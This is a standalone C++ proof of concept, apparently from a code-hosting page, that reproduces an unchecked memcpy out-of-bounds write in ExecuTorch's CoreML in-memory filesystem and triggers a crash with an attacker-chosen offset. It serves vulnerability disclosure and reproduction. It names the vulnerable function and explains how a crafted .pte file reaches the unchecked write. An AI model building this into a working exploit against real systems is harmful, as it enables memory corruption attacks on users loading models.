File size: 2,011 Bytes
9c5b2f3
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// Standalone PoC — faithful reproduction of the ExecuTorch CoreML inmemoryfs
// out-of-bounds WRITE. Logic from pytorch/executorch @ main:
//   backends/apple/coreml/runtime/inmemoryfs/memory_buffer.cpp:247-251 (MemoryBuffer::write)
//     bool MemoryBuffer::write(void* dst, size_t offset, ...) {
//         auto ptr = static_cast<uint8_t*>(dst);
//         std::memcpy(ptr + offset, data(), size());   // <-- offset unchecked vs dst capacity
//     }
// `offset` is derived from the (attacker-controlled) in-memory-FS layout in a malicious .pte;
// nothing checks offset + size() <= capacity(dst) before the memcpy -> OOB write.
#include <cstddef>
#include <cstdint>
#include <cstring>
#include <cstdio>
#include <sys/mman.h>

// MemoryBuffer::write(dst, offset) — verbatim body
static void mb_write(void* dst, size_t offset, const uint8_t* src, size_t src_size) {
    auto ptr = static_cast<uint8_t*>(dst);
    std::memcpy(ptr + offset, src, src_size);   // memory_buffer.cpp:250
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    // Legitimate destination region the code believes it is writing into:
    const size_t dst_cap = 4096;
    uint8_t* dst = static_cast<uint8_t*>(
        mmap(nullptr, dst_cap, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0));

    // Attacker-controlled source + offset from a crafted in-memory-FS node:
    uint8_t src[16];
    memset(src, 0x42, sizeof(src));
    size_t attacker_offset = 0x200000; // 2 MiB past a 4 KiB region -> unmapped

    printf("[*] dst region capacity   = %zu bytes\n", dst_cap);
    printf("[*] attacker offset        = 0x%zx (%zu bytes past the region)\n",
           attacker_offset, attacker_offset);
    printf("[*] NO check that offset+size <= capacity; calling memcpy(dst+offset, src, %zu)...\n",
           sizeof(src));
    fflush(stdout);

    mb_write(dst, attacker_offset, src, sizeof(src)); // OOB WRITE -> SIGSEGV

    printf("[x] returned without crashing (unexpected)\n");
    munmap(dst, dst_cap);
    return 0;
}